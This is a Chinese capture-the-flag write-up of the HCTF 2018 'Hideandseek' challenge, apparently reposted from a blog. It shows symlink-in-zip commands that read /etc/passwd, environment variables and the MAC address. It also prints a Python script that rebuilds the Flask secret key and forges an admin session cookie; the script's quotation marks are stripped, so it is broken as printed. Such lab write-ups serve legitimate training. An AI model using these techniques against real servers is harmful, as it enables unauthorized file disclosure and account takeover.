首页 > 其他 > 详细

BUUCTF-[HCTF 2018]Hideandseek wp

时间:2020-09-10 12:42:56      阅读:113      评论:0      收藏:0      [点我收藏+]

知识点:软链接任意文件读取、flask session伪造

 

最开始看到的是这个页面,尝试使用admin登录提示you are not admin,猜想是要通过某种方式使用admin登录获取flag

技术分享图片

 

使用123登录,发现需要上传zip,上传了一个1.txt的文件,页面会返回文件里的内容,这时猜想是否可以进行任意文件读取

技术分享图片

 

 

使用ln -s /etc/passwd password,zip -y password.zip password生成一个里面是软链接的zip,用来读取/etc/passwd文件,发现可以读取。

技术分享图片

 

尝试读取flag文件,发现没有数据返回

技术分享图片

 

 

读取/proc/self/environ,获取系统当前的环境变量信息,整理之后如下

技术分享图片

 

看了一下之后发现/app/uwsgi.ini这个配置文件,上传zip读取一下

技术分享图片

 

尝试读取app/main.py文件,发现好像用处不大?

技术分享图片

 

本来觉得要做不下去了,最后用burp抓包的时候不小心删错了东西,最后发现一个/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py文件,感觉有问题,尝试读取一下,发现了可以获得flag的源码

技术分享图片

 

技术分享图片

 

读了一下源码之后发现是要伪造admin的session就可以获得flag,并且在源码中找到了secret_key,发现它是用随机数播种的形式设置的secret_key,种子为uuid.getnode(),是网卡mac地址的十进制数,也就是说我们知道网卡的mac地址就可以伪造admin的session,于是我们构造软链接读取/sys/class/net/eth0/address

技术分享图片

 

使用python脚本将mac地址转换成十进制并且使用uuid.getnode()转换为种子,最后伪造admin的session

技术分享图片

 

脚本:

import uuid
import random
from flask import Flask
from flask.sessions import SecureCookieSessionInterface

mac = "02:42:ae:00:bf:3f"
temp = mac.split(:)
temp = [int(i,16) for i in temp]
temp = [bin(i).replace(0b,‘‘).zfill(8) for i in temp]
temp = ‘‘.join(temp)
mac = int(temp,2)
random.seed(mac)
randnum = str(random.random()*100)
app = Flask(__name__)
app.config[SECRET_KEY] = str(randnum)
payload = {username: admin}
serializer = SecureCookieSessionInterface().get_signing_serializer(app)
session = serializer.dumps(payload)
print(session)

 

登录时使用hackbar添加session,即可获得flag

技术分享图片

技术分享图片

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUUCTF-[HCTF 2018]Hideandseek wp

原文:https://www.cnblogs.com/Yhck/p/13644349.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!